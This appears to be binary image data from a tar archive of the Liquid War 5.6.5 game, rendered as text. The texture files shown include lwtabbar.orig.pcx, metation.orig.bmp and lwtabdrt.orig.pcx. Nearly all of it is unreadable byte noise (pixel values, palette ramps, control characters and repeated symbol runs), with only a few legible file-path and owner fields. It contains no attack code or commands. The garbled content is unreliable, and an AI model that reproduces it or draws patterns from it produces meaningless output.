$ñp`O>+lлD;-   !-112J81C-3 '%7 _=?B   ?6 IC -c<4~SK> 4           #"1=L%FV(: 1+(!(" ")*&:;&58%,5'(%"  $)#%&,/3" !'"/7#"      0: 50/7:57#F2T9\8Z#D. ) (/ (+) " ! # !             "%7:<>%        ((!==()      qjѹyi"[YO   )'+;:  %, 2)           $$$ zwgW j\J 8) $    &-!GL (,    M_mَҊϐә٩߿RLV       \bk Sk eOQeX‘wtu½ԿּӿǫǺɵڹŝƙطҴɱ{ƨqjf_XXzLoGdGw^4mZ'^L'X>0J90D0+ 3Ps\_c     =614  c}7@p +!CS           ! & +: HZ"DT "4&6&3''.#)#&%& !%(&/()*  $-1 %#&).1?BF@EH&,1&*%&      4 <651366!C0S9[0S "E4 ) ) '+ $)' #                 /3 ;<).        6432    >*|n['|xxh " 52!2/       #~mXxeP wfYw   2:CG ! QNVɉIIP    rvKd eKKeWƓyœrsxϻϻн¨˻ȴմÕվմвƮxæmfc[TVxJnFcFt[/mX%^K%U:,H5-A0, 1Ijsvy           !@9"#  !^C@E            "(1B"M^@S0'7'4'.5*1(+() !" ('*)   &,6=!*."'!',48=17<!&        *1 2 6337?0R:[8Z#F3 ., ' % & % $ " # #            (-4844       01=;#"   UFD}jg!bT=xҵǮ  2.;4("   ###  YE3}DZf`K6°QA4   7? 8< ",'& )*+NNNdggrxz}|qv}`fnDJY#%5        |Ib cGFeXɒwmnrȷ~ʸλպۿʺŲүốҼԲѱƯw¥lc^XSVxJmEcDtY-kV#]J$Q6(B/'>,3%"$/Fg~       222&NI*$ 2,d;\ZxGPm             %(4D"L_>Q 2)9)6' 07*1%(()$"    % # %+ ! &+'-2"&"          ) (7763#?>W@Z/J < 2 ( %& #!"" # "              *10 * & ()&!"" #                $ 6<17  (6<$7:     *{ƴ~=.% 44;< !&         1&( j`NaV@LD3 4(MB4  2:6?!   !!/;$0:              ruS`U=EfQkÑcaeıtҮֲҰӹ̵åvլ{ִϳ}ѱ|ʩqheZWT~P{HrB|fBma9nU)oK%aC*B9,30+**'&% $Kmqzy            "&!EO(\i*           "  (--GW(H[6D';$8"7'#@#4 $2&#$'       !#$##      !  !  13-1,G:T=W -G"=0 ( %% %'&  ! !             &1; 7? &+1.>D)-  &#  oWC%v{up  ),':A,3       |xOD6  $$4A-<    /*5I #8               \]m Yi K8AdH]ǔbZeȪoخװʲ˺ͽκͩyΣrЮyβ|̭vĥha\TRM{JwEm@}a?m[6jQ%jJ!_A(B9,'.' #'" $ *#Tt\ia      ,,B=_m^us`@jw'8) 4! '&0         !%#          ##2// .ECY!09 #    gYC# wK<3   (+9(0A0    '7&;J+          ==Mdt,>3;}b@{QÒ`UaŠfק}ժİȶƵͺԫzǚgǥpɮvȧo¡b^WQMHyFtBi>{\=jV3gN"eG[?'?6)*)"$4&^{     )FbsꢻZp:!                 ##'7$6G5N^%@T .B $2+4$)(2"0 #       &%.!*!       !"##2 <3JCW>R (?-)( ' ') ' "                   *9=J '2    !17/4     qbRttdG !*4-9C'     !!!MMM,,, ~mZ  |}o]   3 74        U9B&cO6dL`XU[ΕbіdҢnͥpĦoǮvЬvĜgbfc[URKH{Co@h:~^5nR3\M,ZFW@E7 11!#,#, 7Wb   n퐵Dv*O;*% "! '*2>[r}6,             "% +.8F0M\1N]7K-=+=j:67}L\  ,-1()-!#)0,3<*0;%.# " ""#$#&&&*Ƴ/   8=/{TKt]\Q]ɍWЎYdԛdƠfjŪqƠj\\_WRO}EzBr@f:xa3qX.dM-RI'PAN;;4),%3"( (Mm  .?Sc!,4( 0 '! $.9 6 ,05 '    _ju6iw&           &( 0 &4?K/Tb*KZ ,>,B#?4wD~iBVj   !  $#'# !( '0&0)#!" #$$%$ (#*$+"5J/D--' "% # " # $ #                 '(>> 54    -349  KB4dZ8pbE$ @0#     &/:B.5  (((```RRR000    KH3c\SD1*|gQð}h    "EI 21       &/=#3J(     \KUiaI/)lDEeVXzEXJȃJUҍT–[[ffONWSOMvBt>l=~`7n[.kS)^K*KG$K?I640!'& 6'  6$]|IHf  ]puX.H"3,E$R0Y=%X>-YA-O>$I=%O>$d3_1L*=")# 'Xxj> -;8         $(*"3 *7BM.Xe&IW"2>$A)ijBZr,"%6SG +  %((''")&$&%$% # (&-'.&= . # '  % $ !         $,1:5<       025:#   prdN r   .;C18         cXJƮyhU6 $     6;=@    $>J+7  Y+G]VG|R?_3yBF|AMPKV[an\s?M~LwH~f8pF}d<}`;tY4rX4fJ,]>'W9&K6 C54"$6* &/1    ¯@2   &í-  $*/-5(2-B$!#7]i~  |4S &3"0bDCkVG{eLtNwKsHnGjEfAeC`>\:T5yG0p@._:,N3%2)  "$4        *&2$2+7>G]b+`j3C".*>#6Y8 Xn0)8#"9Y< 06         %&('",",6'3#/$2&4(6(6+8-:/fNq {-~       &)'!+)5)5 ,8*8,:*8/<'7D*;H.?L0AN "" !#            $"29!18&      -0/2   ^SK PB+5"*$swj -/:=#)  ###NNN###    %%%\ZY;2$u|:(!     !)7C-5  '-=I.7      ~bo$'!iD0M/U*w`.}m8}k6o?j?hChCc=zS}T`7sU,tX/sY4gQ.`K+XK+M@ J?!C=&55%'')&-'(( %# -Ma~} E>R!@ 374CacseqVxRVX–WœYʑ^Ƒ_`UMuGj@[7R2tJ-hA%R8 C/4#)    s>lt         "!$-!'4)5 $2ANU^AN(9!"7 -='%$2 tBGB"A   %"  ' ((",(4-9 .:$1?%2@&3A)9F1BO6GT>O\?P]     #            '$3<"4;"   )/(6<&*  @6/0# H8+Ư &(=< --  DDDFFF    ???SKD~_6*$y      ,.:F#,   )1/@I)  HQ" ._8)pH/rO.sV1ra6sb7w]5a:~V3~T/kFxSb;gM%eK&lS1^I*XB&PB&K=!@2;1 /+ !&&): Pt J`U?9pỸ]ւNڇJHJ֜QМY͘_ʑ^ċXQQJxFoAc9Y3{P/nG'\>!V:"I/6$8$6   " .>         "##++7/= '7%ER S]7E#632("$'#*$2\6%        !#  "&&($0)5!/;-9.;I2?M:JW=MZ>O\@Q^CVcDWd !                  "*7&4@!)   !+)4<"+4 ?1sm]F3#   359:   JJJ     QNI80D,    0)      ,8&2> !  1;$7?   FFbj KPP6/iA5hB0cS6`S-lU/w]8qQ-uQ+r^;lI~hDaK'WAcK-XB&U>$P9#N9#A-7#0'*( "  3 =d{FMR  ~\j",G;Ajfqʼn_ԙ[֞WњWϙRЛRҞXћ_ʓ`]YO{Fs@m;b4[2U2uN.gH)c>(W3#D'C*9 0   %#      "$#&$+1<3@/>,IX"N[ -<..?S+1Z"*( DH9%       # !#%&!+)5!/;$4@$4@9IV?O\L\iK\iGXeCVc?R_@S`                  $'6*9 ,   #)2?!+5xj^FS? wiE}2!     #&68&'      lRD -!1(     )'5A$0     !+9B)1  }VCS&-E)/W63E:&TG'jR.dQ+kV0\I#SJ)\R0vjH]N-O<XB&Q9!U:%P/J,C(=;0(!"%:\c}   %5Z280)r_d̍[ݚOݮRװN׫NئN٢Qԟ\̚eĕiebSyGq>l8c3]3}W4vP2mK-g@*^1$Q-#D*;;0 HmzGW   %'&)+2.9 0<$BS;Uf?M) ',;Mz)D8wCf*bx7  !      &%'& (&.-6%3?,Q^7MY7MY             )56D $3     $1&/<$  norĴŴͰ  "3646     pZA^ZA~of    )2+9E $  )31  *    ""(*),(./9-:!BR8Pb;K.0'BT Q~:u@-/Ms    ! # (",",!)%-!18)8A.>J8HTBR^GWcHXeDTa-3       8C7D  aIpA/ $%#?1+N6 T0L.F$$L.-Z35^>?\@@0+&#  7CPWm   F5*R1^nĴoݻhRa`лjļiil̤p֘pؓl֒gYRM}Gv@l8d8]9T7sH-i?,`8,V.)J%!=0 +  ;\f:         !#!)&).+32!$(4@J+O_&*<&" '%!*&2MVw>&:  ($ %   %#%".(2*3*3 0<,"+  '#4A%1=% ZK1teK  )2?$0  <<!    {ubzXlzjF   !2?&6F  vvvUUU D@->."   :=9>      ,82D,   }mXf9F+#%&5+1', 28.?A>NHQ^#% (+DJ dk^}    {P`D({UxζztwҀw‚ھxojiӦb˝]ƗZĒXQJxGrGfE[1BKBT_PanNanGZg>Q`3HW/DS3GX1EV0GW5L\0IY-FV)BR&?O                %)6'4,  ,/&6<' B<)Ų˲+&'    '$5B*8    qkoyiRw"     (,>A -0      +5F)=   FKTp8l}Hh +J7&" ,5P^$') *7GT0pcFIP  =;Nf>+dϥp׳sˀxԃՋˆʒƓÓĊ|pkjg٬cգaӝ^ϔVNjPLyHlE^={P5gC1S6'C/7,,'"$(=X/     %%+&*"&', ', $(!5<,QY-9 /JVBEP*jNn> %   $$(" '   $$,+4.:&7@2EM=PXFZeM`mI_kE[g?Tc3JY(?N.EU/FV+BR*CS'AQ*DT'AQ :J            (3,7 )    "/2(+    # rǭVOR    &!4<)5       ;11,ɴlY>naS 6:69   #/.:L 3    %   }픺Kie}Vn TlF\Qg/x(n/h0kl   #&7j (={L6ǖdڥlpx։֐΍͘ƗÕȍ΀rnolifb۞ZԔTȉOLrHcV    %(-%+0'.-4 '.&,FM,3'0#3?8KSAV^EZbCWb>T`9Q];S_N0M\/L[$AP       $)3!-7$   #&/2)+     eRC  07(;B      URJjfW7cH4$ vcT      &#;A'+  1<*7E$      #~ݟӖΖͤӼ~73       LP[Y/_Dę`ot|zՊь͈̐Ƒđʌтupomjf`ޡW՗QɋKIq@d7X2xN1bB+R;%B731%$ ^k      %&*(+0!)0/6 $,!' '2$DQ"2># & Zo96  !%  * # & &'7EKHX^4FM#6>-?JDYaK`hD[c:P[0HT.FR1KW4N\2M[*ES1K[5O_,FV#@O)FU9Xg:Yh1P_          %*3!-7(  "%4602         !*$4;),      H@)v/L4=1%   )3$6=   #=D-6         NOVܖMN[ %$     iqwMs)lM^qt}|υ̃Ї͉ȉȋ̉ςwoonid]SԘLnjGEq=e3Y/|O.jB)T9$B440'       &"'*%. ",*3&3A9H*)9 " "!_q58h       #$! #%5;:JP6HO0CK8LWCZbE\d:T[/HR)CO+EQ/IU-HV-HV,GU/IY/L[*GV#BQ&ET.M\2Sb0Q`             "/7*2& ,/13       "%.8/6  {ynbYPV@5tkW   !&0: /8     &$BG$)  5++) EBJ\_dq{||}rz{]ehXlo2HH +2,'     {Ps#$gHZmq|ʁʀ}׉ч͇ˈ͇tmlmjf]S؝M̑KJw@l7_1R.nC(Y:%F5 71'    &)#(+",'$- 5E AN*& "88+'x-No'>    ( ( &#,)/(;@3FM9NVCWb>U];U\0JQ(AK(BN.HT/KV+FT(ES.KY.KZ/L[0M\,KZ+JY&GV)JY-N]             !)18*2     /5/5#   )9*4> ###EEE    mkj B)4,,Z[K ]WP&!#     !)1 38#     5856   $->G*2   237PRS ,'&("# Di 3jG`Ωqصswyӂy̅ƎƋʈ̓{vz|vrleZӓRˌRQxKmDd?yQ8gF6R5,B*$@-&3#&#    "2$/#/$+$  #4:9E#CV !  D]>_ %).%Z5BF0B$ , )% (#.%-(/)\:vM4jF6X8-F,%A+%0' .    * &5"+-%0 &'/6A'6 4*Zr   ),7R     $!.*6#4=,>E8KR>S[9PX0IS0IS:U_?ZdYӞlݮpr۹mur{ƃdžƆyy}ŀmΕXNJL~Au;sArDiE_U9vH0k@+W2$J) B%!60> vh      "#&' * $$8EDG! &AUN / ! &   $-#1+4"1:)8A0AJ9LT9NV5KV0IS4NZ6P\7S^5Q\/LZ1N\5Tc5Tc3Tc0O^,KZ)JY*KZ)LZ*M[*O]-R`.Sa                #,/5)-     ,-&)   %.+4& +++OOO--- JJJqfKŵtIqb  (/ 3;$*       &0#9? #(     #0+9E$        ##5hEt<#yMȊaӛdi߰fjhqw޽tvtnܫgڦcؤaӝaЙ`͔\͑VȈQN}OwMeF[=P5qE-g>'U1J*?"619 "Q>W     $%& $$  ")>L7= "+fz!)jFl!6/  +1 $#0 0<&7@/@I3DM4EN8JU8NY4MW.HT&AO$?M'BP)FT)FT,KZ2Q`3Qb0Qa,M](IY'HX%GW%GW&JZ*N^+Ra,Sb               %2(4 '    (),-  $.7)0000     +!!k;4!    '5;.5    $3<"4;    $0<(6B        B#QR&rI]Ȓ]ڦcߪaaߴ]hpݸnruphߩbܥ`آe٣fנcԚ_̐UN}LtGd@W8uI1hB*_=%S4J->"/0+ ,IT53   $"$&%  1:.CR#2;#'.F\ uEG:5~8q2H   & )%19B2EL;NU?RZ=PX;OZ9O[4LX/IU$?M#>L'DR-JX,KZ,KZ,M],M]&HX$FV"DT"DT"DT#GW(L\+Ra.Ud/Ve                 "%/+7+     &&'(   '/'0    \\\  H;-y  #)'7= '      '&7@(/ (*7E*6     'L5?)<'2, 4 Y-    $# "-E8FFEO5/: #*)FO2HN !#  31=;M '%"!, ,9:E-DL.GK-EK:QYNdoQgss;j7_4}Y1pN*iF%U>D; ?.!C$4  )  %(?5BA=I53?5/:/3%@D$.?& )*D[Zn7Q==[ #  &!/,;6E;I=H0FR9OZFZeK`h?U`5NX2LX3N\0M[1N\5Ra0O^+L\*L\%FY DV!FZ(Ma/Ug/Wi1Yk2]n4_p4_p5ar7ct              "(*0 &     $06#*   $/&/        oL@6  #/%7B #     +7-;G   %1 7G!1      62j,= OI,vcBh>~AňHCÍLKMOŠOĈM†KIG}Ax@t@k;b7Z4xR2iI,`>'E04-2# 1)   Ge#FN      "$*/&*/>BCG0)' (0Tl,NDoH%@ 4K !' ."3+<6F"=K$@K9JWCTaL`k>T_-FP+EQ3MY6P^1N\2O]2Q`/N]+L\*L\%I[#GY%M`+Sf/Wi/Wi2Zl7bs9du5ar8du=iz             ',*/%      "%!-1  / *5%       l^R2,! |zf   /83;  $$2>*4 0< 2C #        '5Xt /-#aSA\@a0l9u>{B|D~FJ}JzGxEwDr>j9j:g;Y0xN+mG)d@(Y:%U6'H.":'$/!'# !  7   &&&& &&KLBC Zl199DA`)iz?k|9evV6X3`3d5j;p@pBn@l>jM4JVb{ *   !    $  # .E$EfAY   ,!)0$4+;8F*DR4JV8KX=MZCTa>T`/FU(CQ6Q_B_n;Ue,M]/P`*KZ&IW(M['N]*Pb*Rd/Yl6`sL,GU0JX2IX;N[GZg;P_+BQ##C+lC#^4Z*l1y4%g% M!C.&-  ! #A+      Qbѝ&Us.    $'-&4'7#5F#o}>o}       $.*2 !)    *+   $+#*   wqdytewd  .0*,   %+06      -9,7   ^vyi (B.)4!]' {.0/2s:l0k)iaWH 5 #  -duh '5       -2@Zl:^i"M      $,%3'7 2C";K%AR-JY8QaBVgCSd;M^8O^8R`7R`3P^'HW"GUET#GW+M].P`3Ue8\l;bq=fu>ix?jyYg6Sa&GVBPET#GW+O_1Sc7Yi<`p;ds?hw=hw>ix:gu5bp5dr9hv:kyBsK|M~      #'&-%-#     !++! "),!(      daSij0'   #)*-' 07     )2%5A     !o혱Rq} -;'   "0*<>dux%I %     ( $>Ghz9$3}u]vXQf-2"Kk%7       $(,)6#3C&8I/FV:Tem{?p~EvNR  "'&,%,!    -,!!   %&!$F9¬P="~mS  !%&,   *2)1  %5<-6    "Ύ쌡:N*     &Ko&'"x_m`Fp`[vYF_ 'Mlu        '*!/-:$4D%7H0GW?YjN_>Rc;Uc7Tb5Ub/Q^+N\&M[%N](O^-Tc4Xh:^n>et;fu;hv;hv=jx>kyBo}CrFuIzM~UZ   %'-%,     '%$#   ((##GA:tƩL:#I8UOJ  )-%, .5&  #&&6='    JhoꓼD};E$      t+ndq:4jdc_Vp v      ++9%6C)9I+=N5L\B\m>[j4M].EU8HY=Qb8Sa4Q_2R_.P]+P^*Q_(Sb*Sb1Xg4[j:ap>gv;fu:gu9hv:iw=jxBo}GtIxORY^  ! & & "(    #" !$ **    #! -&F=0j_Is "(,! "(.   /2.5       1@>Yll~xYd}(2N )   % >IQ[czm|TiSRtLB`       ))62?$7F/AR7N^kyGtMzO~VV\a  "%/%-!         %$   !$#%##  !!!///$$$ .+&"!  6-&  &)"&   &%    %78%+   21 "$  !/ ,+- /,"       r6:=DW V_EV<9Y;*L )v     " ,)61>&9H4HY7N^1K\*DT%?O0GWBRcCWh9Tb5Ub5Wd.Q^)N\'N\'Ra+Ve5^mm{ErQ~Y\bach )/*0"         #()""  !$%("    ,./!##   $)).  $( &*  &("58     $32A%.       Oc|/J E%:'6O?J('1/,UN]o &     !%"+(1)9E1DQ5L\4L^0HZ.EU=P_?N^P_oDWf9P_;Vd1N\+KX,O\-Ua-Xa/Ye4^k9bq@gvBixlw=r|AvI{WV^gehp#''+!    "'*   "% #         */%   '* "& *-.1 $7&9$     'S<  4d,       !&#/,7':G6IX7N^2HZ-EW0GWCXgI^mWjyI`o:We:Zg0R_*MZ+Q]0Xd/Ye1[h6ap  !%2?fw      $ *'41>,BN6KZ/CT3D!5F,CSA[iF`nRlz@]k*MZ(NZ'MY&KY(O].Uc+Ub-Xg5`o;cu@ixDkz@lyCp}BwG{O]Y]ggnv  (*  $('*    ',!'  &(%(      (,"14   )4;%               ]/Pd+P^Q[#jtC #      % -+8#6E+EQ7L[2ET(8H2ETK`oYsIftFao8Xe&LX'O[&NZ&M['P_/Xg,Wh1\m7ct:ev>fx?hw?hwAmz@tEyN^]bmms|   !*,! ""&     $*(.    -/      +/)-    -' 8/               !$:ޚϘ)#5    #"-.9':G.FR8NZ7JW/@Mi|FnJpPvT}YcsqzŚХ                    $$((   $$                                   !$    " "      "',$         +8'6     533+&(           ,,+;:5DG3FI,CE-FH??>?((>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?((?>>?((?>?>=>=>=>=>=>=>=>=>=>=>=>=>=>=>=>=>=>=>=>=>=>=>=>=>=>=>=>=>=>=>=>=>=>=>=>=>=>=>=>=>=>=>=>=>=>=>=>=>=>=>=>=>=>=>?>?((?>?> !"#%&'()*,./= !"#$%&'()*+,-./=>?((>?>?> >=<=<=<=<=<=<=<=<=<=<=<=<=<=<=<=<=<=<=<=<=<=<=< <=<=<=<=<=<=<=<=<=<=<=<=<=<=<=<=<=<=<=<=<=<=<=<=<=<=<=>=>?>?((?> =< <=>?((?>?> >=<=<;<;<;<;<;<;<;<;<;<;<;<;<;<;<;<;<;<;<;<;<; ;<;<;<;<;<;<;<;<;<;<;<;<;<;<;<;<;<;<;<;<;<;<;<;<;<;<=<=>?>?((?>?> =<; ;<=>?((>?>?> >=<=<;<;:;:;:;:;:;:;:;:;:;:;:;:;:;:;:;:;:;: :;:;:;:;:;:;:;:;:;:;:;:;:;:;:;:;:;:;:;:;:;:;:;<;<=>=>?>?((?> =<;:;: :;<=>?((?>?> >=<=<;<;:;:;:9:9:9:9:9:9:9:9:9:9:9:9:9:9:9:9 9:9:9:9:9:9:9:9:9:9:9:9:9:9:9:9:9:9:9:9:9:;:;<;<=<=>?>?((?>?> =<;:9:9 !"#$%&'()*+,-./:;<=>?((>?>?> >=<=<;<;:9:9898989898989898989 89898989898989898989898989:9:;<;<=>=>?>?((?>=<;:;:98989898 98989898989898989:;<=>?((?>?>=>=<=<;<;:;:;:9:98987878787878787 87878787878989:;:;<;<=<=>?>?((?>?>=<;:987878 7878787878 787878787878787878789:;<=>?((>?>?>=>=<=<;<;:9:9898787867 676767 6767676767878989:9;: ;<;<=>=>?>?((?>=<;:;:9876 767676767676767676767676767676767676767676767676789:; ;<=>?((?>?>=>=<=<;<;:;:;:9:9898787676 6567878989:;: ;<;<=<=>?>?((?>=<;:98767 656565656565656565656565656565656789:; ;<=>?((?>?>=>=<=<;:9:9898787676 565656565656565656565656767878989:9;: ;<;<=>=>?>?((?>=<;:; !"#$%&'()*+,-./4545 !"#$%&'()*+,-./=>?((?>?>=>=<=<;<;<:;: :9:9898787676 65654545454545454545454545454545456567878989:;: ;<;<= >=>?>?((?>=<;: :98767 6565434343434343456789:; ;< =>?((>?>?> >=<=<;<;: :9:98987878676 5656545434343434343434343434343434345456767878989:;: ;<;=<= >=>?>?((?> =<; :9876 6543456789:; ;<= =>?((?>?> >=<=<;<;<;: :9:9898787676 65654543432 23232323232323232323434545656787898:9:;:;<;<= >=>?>?((?> =<;: :98767 656543 23456789:;< =>?((?>?> >=<=<;: :9:9898787676 565654543432 21212121212121232345456767878989:;:;<;<= >=>?>?((?> =<;<;:; :9876 6543 2123456789:;<= =>?((?>?> >=<=<;<;<:;: :9:9898787676 65654543432 212120101010121234345456576787898:9:;:;<;<= >=>?>?((?> =<; :9878767656543 210123456789:;< =>?((>?>?> >=<=<;: :9:989878786767565654543432 21010101212324345456767878989:;:;<;=<= >=>?>?((?> =<; :9876543 212123456789:;<= =>?((?>?> >=<=<;<;<;: :9:98987876765654543432 2121212121234345456567878989:;:;<;<= >=>?>?((?> =<;:98767656543 212121212123456789:;< =>?((?>?> >=<=<;:9:989878767675656454543432 21212121232345456767878989:9;: ;<;<= >=>?>?((?>=<;<;:9876543 23456789:; ;<= =>?((?>?>=>=<=<;<;<:;:;:9:98987876765654543 ! "!"#"#$#$%&%&'&'('()*)*+*+,-,-.-././;<;<=<>=>?>?((?>=<;:98767656543 3456789:;<=>?((>?>?>=>=<=<;<;:9:989878767675656545434343 3434343434343434343434345456767878989:9;:;<;<=>=>?>?((?>=<;:;:987654 456789:;<=>?((?>?>=>=<=<;<;:;:;:9:989878767656545454 454545456567878989:;:;<;<=<=>?>?((?>?>=<;:9876765654545 4545454545454545456789:;<=>?((>?>?>=>=<=<;<;: :9:989878767675656454545 45454545454545456767878989:9:;<;<=>=>?>?((?> =<;:; :98765 567 !#$&'()+,./;<=>?((?>?> >=<=<;<;:;: :9:98987876765656565656565 565656565656565656565656565656567878989:;: ;<;<= =>?>?((?>?> =<;: :987676789:; ;< =>?((>?>?> >=<=<;<;: :9:9898787676767676767676767676767676767676767676767676767 76767878989:9: ;<;<= >=>?>?((?> =<;:; :9876767676 789:; ;< =>?((?>?> >=<=<;<;:;: !"#$%&'()*+,-./787 !"#$%&'&(')()*+,-./8989: "#%&()+,./=>?>?((?>?> =<;:98787878787878787878787878787878787878787 787878789:; ;<=>?((>?>?> >=<=<;<;:9:9898787878787878787878787878787878 8787878989:9;: ;<;<=>=>?>?((?> =<;<;:98 89:; ;<=>?((?>?> >=<=<;<;<:;:;:9:9898989898989898989898989898 8989898989898989898989898989 9898989898989:;: ;<;<=<=>?>?((?>?> =<;:9 9:; ;<=>?((>?>?> >=<=<;<;:9:9:9:9:9:9:9:9:9:9:9:9:9:9:9:9 9:9:9:9:9:9:9:9:9:9:9:9:9:9:9:9:9:9:9:9:9:9: ;<;<=>=>?>?((?> =<;:;:9:9:9: :9:9:9:; ;<=>?((?>?> >=<=<;<;:;:;:;: :;:;:;: ;<;<=<=>?>?((?> =<;:;:;:;:;:;:;:;:;:;:; :;:;:;:;:;:;:;:;:;:;:;:;:;:;:;:; ;<=>?((?>?> >=<=<;<;:;:;:;:;:;:;:;:;:;:;:;:; :;:;:;:;:;:;:;:;:;:;:;:;:;:;:;: ;<;<=>=>?>?((?> =<; ; ;<=>?((?>?> >=<=<;<;<;<;<;<;<;<;<;<;<;<;<;<;<;<;<;<;<;<;<; ;<;<;<;<;<;<;<;<;<;<;<;<;<;<;<;<;<;<;<;<;<;<;<; ;<;<=<=>?>?((?>?> =< < !"#$%&'()*+,-./<=>?((>?>?> !"$#%&')(*+,.-/=<=<=<=< !#%')+-./<=<=<=<=<=<=<=<=<=<=<=<=<=<=<=<=<=<=<=<=<=<=<=<=>=>?>?((?>=<=<=<=<=<=<=<=<=<=<=<=<=<=>?((?>?>=>=<=>=>=>=>=>=>=>?>?((?>?>=>=>=>=>=>=>=>=>=>=>=>=>=>=>=>=>=>=>=>=>=>=>=>=>=>=>=>=>=>?((>?>?>=>=>=>=>=>=>=>=>=>=>=>=>=>=>=>=>=>=>=>=>=>=>=>=>=>=>=>=>=>=>=>=>=>=>=>=>=>=>=>=>=>?>?((?>>?((?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?((??((( +++;;;KKKWWWgggwww÷sssgggWWWKKK;;;///###?CKS'[3c;gGoSw[gsϿ׿߿ǿ #########'''''''''+++++++++/////////333333333777777777;;;;;;;;;?????????CCCCCCCCCGGGGGGGGGKKKKKKKKKOOOOOOOOOSSSSSSSSSWWWWWWWWW[[[[[[[[[_________cccccccccgggggggggkkkkkkkkkooooooooossssssssswwwwwwwww{{{{{{{{{liquidwar-5.6.5/data/maptex/lwtabbar.orig.pcx0000664000372000037200000000723213407756104020625 0ustar travistravis O1,,P.-.-.-,-,-,-,+,+,+*+*+*+*+*)*)*)*)()()()('('('('&'&'&'&%&%.>=>=<=<;<;:;:9:9898787676565&.>=>=>=<=<=<;<;<;:;:;:9:9:9898/./.8787876767676565656545%.>=<=<;<;:;:9:98.87)7676565&.>=>/>=>=<=<=<=<;<;<;<;:;:;:;:9:9:9:98989898/7878787)767676565656545%.>/=>=.>=>=<=<=/=<.;-;:;:9*98.87)76/.5&.>=>/=>=<=<=<=<-.-<;:;:;:*+*+*):989898987878787)676767656.565%.>/>=-=<=<;.;:;,+:9:989878767656.5&.>=/=>=.<=<=<;<-.;-,:9:9:989898787876767676565.56545&.>/=-=<=<;<-;-,;:;:9:987676.65&.>=>=/.>=<.<=<=<;<;<;.-<,;:;:;:;:9:9:9:98989898787.78767676765.565&.>=/=.=<=<;<;-;:;:9:9.898/.76.5&.>=>./=.<=<=<;<;<-;:;:;*:9:9:9.9898/787.-.-.676767675656565645&.>=.=<=<-;*:9.98787-7676565&.>=>=>=<=<=<;.-.;<;:;*+:;:/./9:9:9/89898987878767676.656565&.>=>=<==>=>=<=<=/.<;<;<;+,*;:;:/:9:9:9:9/89898987878787867676767.656565&.>=>=<;+;:;:/:9:9.9898787676/65&.>?>=>=>=>=<=<=<=<;<;,+,;:;:;:;:/./.:9:9/98989878787676767.65656565&.>=>=<=<;,;:9/98787676/6565'.>=>=>=/.-=<=<;-,<;<;:;:.-;:;9:9:9:9/989898987878787676/.656565&.>/./.=.-,<;<;:.:-,9:9/9898)767/65'.>?>=/.>=>=<=<=<=<;<;<;:;-.-,:9:9:9/989898987*)*78767676/676565656&.>=>=<=<;-:9/9898*)878767/6.5'/>=>=>=>=<=<=<=<;<;<;=>=<=<;<;/.:9/98*876-565'/>?>=>=>=<=<=<;<;<;.:;:;:9:9:9:989*+8)*)87878767676.-656&.>=.=<;<;.;:;:9:9*+8)876-65'/>?>?=>=>=>=>.=<=<=<=<;<;<;:;:;:9:9:9*+8987*7878786.6767676.656'.?>=>=/=<=<;:;:9+9898787.76.6'/>?>=>=>=/=<=<=<=<;<;<;<;:;:;:;:9:9:9:+8989898787878.76767676.656'.?>=/=<=?>?>=>=/=<==/=?>?>=>=>=/=<=.=<;<;<;<.;:;:;:-,:9:9:989*98987878.8787/7676.6'.?>?>=>/=?>?>=>=/=<=/=<;<;<;<;.:;:;:;,-,:9:9:98989878/8787876.76'.?>?>/=/=<;<;.;:-:,:98/787676(/>?>?>/>=>=>=>=<=?>/>=>=/<;<.-.;:;:,9:98/87876(/>?>?>/>=>=>=>=><=<=.=<=<;<;<.;:;:;:9:9:9:989898989878787676767(/?>/./.>=?>?>=.-.=<==?>?>?>?>=>=>=>=<=.=<;<;<;:;:;:;:;:9:9:989.-.-,-,-+,+8767(/?>?>=<=<;<;:;:9:9898787(/?>?>?>?>=>=>=>=<=<=<=<;<;<;:;:;:;:9:9:9:989898987878787(/./.-.-,-,+,+*+*)*)()() +++;;;KKKWWWgggwww÷sssgggWWWKKK;;;///###ۿ׻ӷϳ˯ǫçϻǷó c c ccc#c+c'3g+;g/Cg7Gg;OgCSgKWgO_gWck #########'''''''''+++++++++/////////333333333777777777;;;;;;;;;?????????CCCCCCCCCGGGGGGGGGKKKKKKKKKOOOOOOOOOSSSSSSSSSWWWWWWWWW[[[[[[[[[_________cccccccccgggggggggkkkkkkkkkooooooooossssssssswwwwwwwww{{{{{{{{{liquidwar-5.6.5/data/maptex/metation.orig.bmp0000664000372000037200000020537413407756104020642 0ustar travistravisBM (!!pGA61.+)'$y k[SPMIE=4$ zl`VND ~                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      liquidwar-5.6.5/data/maptex/lwtabdrt.orig.pcx0000664000372000037200000002101113407756104020641 0ustar travistravis wJ,,x !"#$%&%&'&'('()()*)*+*+,+,-,-.-././ 01010101212123232343434545456565676767878789898989:9:9:;:;:;<;<;<=<=<=>=>=>=>?>?>? .014589<=? 01010123454565678989:9:;<=<=>=>? .02467:;=? 0101212123232323434345456565676767678787878989:9:;:;:;:;<;<;<;<=<=<=>=>?>?>?>? .024589<=? 0121234345678789:;:;<;<=>?>? .024679;=? 01010101212123232343434545454565656767678787898989:9:9:;:;:;<;<;<=<=<=>=>=>?>?>? .014589<=? 010121234545678989:9:;<=<=>=>? .02467:;=? 010121212323232343434345456565676767678787878989:9:9:;:;:;:;<;<;<;<=<=<=>=>?>?>? .024589<=? ."$%()+-/01012345656789:9:;:;<=>?>? .024679;=? ."#&'*+-/01010121212323234343454545656567676787898989:9:9:;:;:;<;<;<=<=>=>=>?>?>? .014589<=? 010121212323234345456789:;<=>? 0101012123234345454565656767676787878789898989:9:9:9:;:;:;:;<;<;<;<=<=<=<=>=>=>=>?>?>?>? 0123456789:;<=>? !#$%'(*+,-/013456789:;<=>? 